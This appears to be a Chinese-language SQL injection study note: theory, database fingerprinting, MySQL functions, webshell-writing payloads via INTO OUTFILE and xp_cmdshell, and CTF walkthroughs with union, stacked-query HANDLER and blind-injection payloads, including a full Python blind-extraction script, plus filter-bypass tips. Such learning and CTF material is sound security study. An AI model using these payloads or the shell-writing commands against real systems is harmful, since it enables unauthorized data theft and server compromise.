八股文

原理

​ 在开发过程中构造的方法、函数对输入数据过滤不严,从而造成预期之外的返回结果,此时攻击者利用此漏洞来拼接执行恶意SQL语句,从而达到攻击的目的。

注入类型

​ 参数类型划分: 字符型、数字型、搜索型注入

​ 注入方法划分: 基于报错的注入、基于布尔盲注、基于时间盲注、联合查询、堆叠注入、内敛查询注入、宽字节注入

​ 提交方式划分: GET注入、POST注入、COOKIE注入、HTTP头注入

如何判断不同的数据库

  1. 通过对主机端口进行扫描,判断端口开放的情况大概判断出类型

Oracle: 1521 SQL Server: 1433 MySQL: 3306 PostgreSql: 5432

  1. 通过注入不同函数来判断数据库类型
数据库 特殊函数
mysql @@version,version都可执行
mssql substring可执行
oracle substr
  1. 根据注释符号来判断
数据库 注释符
mysql #, --(后跟空格), /* */
Access null, %00
oracle –(不跟空格), 不支持;子句查询
MSSQL –(不跟空格)

mysql5.0以上以及5.0以下有什么区别

5.0以下没有information.schema库,只能暴力跑表

Mysql @ 与 @@的区别

一个@是用户自定义变量

两个@是系统变量

Mysql注入常用函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
database() 返回当前数据库名
user() 返回当前数据库用户名
updatexml() 更新xml文档,常用于报错注入
mid() 从指定字段中提取出字段的内容
limit() 返回结果中的前几条数据或者中间的数据
concat() 返回参数产生的字符串
group_concat() 分组拼接函数
count() 返回指定参数的数目
rand() 参数0~1个随机数
flood() 向下取整
substr() 截取字符串
ascii() 返回字符串的ascii码
left() 返回字符串最左边指定个数的字符
ord() 返回字符的ascii码
length() 返回字符串长度
sleep() 延时函数

sql注入写shell

条件

当前数据库用户有dba权限, 需要有网站的绝对路径且有可写目录, mysql的secure_file_priv配置为空

用法:

mysql:

1
union select 1,2,'shell' into outfile "网站绝对路径\shell" #

sqlserver:

1
id=1';EXEC master..xp_cmdshell 'echo "shell内容" > 绝对路径\shell.asp' --

各种注入例题

web2 最基础的字符型\post型注入

[ctf.show](https://ctf.show/challenges#web2-7)

打开后是一个登录界面

image-20220625125447673

这里我已经尝试过万能密码返回的登录成功,即存在sql注入且目前并没有对基本的函数进行过滤

1
2
3
4
5
6
7
8
用户名: admin' or 1=1#                                                   '
密码: 111

这里单引号用于闭合id
例:
SELECT first_name, last_name FROM users WHERE user_id = '$id';
SELECT first_name, last_name FROM users WHERE user_id = '$id' or 1=1 #'; 这里#只是把后边的单引号注释掉了
就是为什么分号没有被注释掉啊

在数据库中就是

image-20220625135437800

判断有多少个字段这里返回了多少个字段值

image-20220625135620778

像这样,里边有username,passwd,flag三个字段,当sql语句如 select passwd,flag from demo where username =xxxx的时候,数据库会返回两个字段,此时我们order by 1 或者order by 2 都不会出错,因为是按照passwd和flag来排序的,但是到3之后就会出错

image-20220625141224139

当order by 4的时候,并没有返回值,证明只存在三个返回字段

查看展示字段

image-20220625142752648

这里union select 的1,2,3;类比本地mysql,就是与username, passwd合并在一起,如果前段展示的是username,这里就会把1显示出来,如果是passwd则会展示2.如下图

image-20220625143425478

所以说2这里可以回显数据库中其他数据

注入

1
username=1' or 1=1 union select 1,database(),3#&password=213   显示当前数据库

image-20220625143504592

拿到数据库后拿表

1
1' or 1=1 union select 1,table_name,3 from information_schema.tables where table_schema= 'web2'#&password=213

information_schema下的table表存的是数据库所有表的信息,它从属的库就在table_schema字段中

image-20220625144707047

这里把从属于web2数据库的表flag,user返回了接下来查表下边的列名

1
1' or 1=1 union select 1,column_name,3 from information_schema.columns where table_name='flag'#&password=111

这一句话就跟上边查表名差不多了,information_schema下的columns表存的有列的信息

image-20220625145513367

可以看到,flag表下有一个flag列,这里把列中的数据打印出来即可

1
1' or 1=1 union select 1,flag,3 from flag#&password=111

image-20220625150149327

web3 web7

只是过滤了空格字符,这里把绕过技巧放在最后单独列出来

[GYCTF2020]Blacklist

image-20220908191910079

打开如图, 测试1’ or 1=1#

image-20220908191955975

发现过滤如下

return preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject);

把操作符过滤掉了

构造payload1';show databases;

image-20220908192232273

1;show tables;

image-20220908194331945

1'; HANDLER FlagHere OPEN; HANDLER FlagHere READ first;#

image-20220908194456103

[CISCN2019 华北赛区 Day2 Web1]Hack World

一个盲注绕过

demo

输入0会返回

Error Occured When Fetch Result.

输入1会返回

Hello, glzjin wants a girlfriend.

输入0^1则返回上边的hello 题目提示了flag在flag表的flag字段里

以此来逐字判断flag, 因为过滤了空格,用括号来代替构造payload

0^(ascii(substr((select(flag)from(flag))," + str(i) +",1))>"+str(mid)+")"

这里str(i)是判断第i位,substr(str,开始的位数1开始, 截取的位数)

完整payload如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import requests
import time

def findFlag(url):
flag = ""
for i in range(1,100):
miNum = 32
maxNum = 128
while miNum < maxNum:
mid = (maxNum + miNum) // 2
demo = "0^(ascii(substr((select(flag)from(flag))," + str(i) +",1))>"+str(mid)+")"
data = {
"id": demo
}
res = requests.post(url, data=data)
if "Occured" in res.text:
maxNum = mid
else:
miNum = mid + 1
flag += chr(miNum)
print(flag)
time.sleep(0.1)
def main():
url = "http://your-url/index.php"
findFlag(url)
main()

即可跑出flag

绕过技巧

空格被过滤

  • /**/绕过
  • %a0代替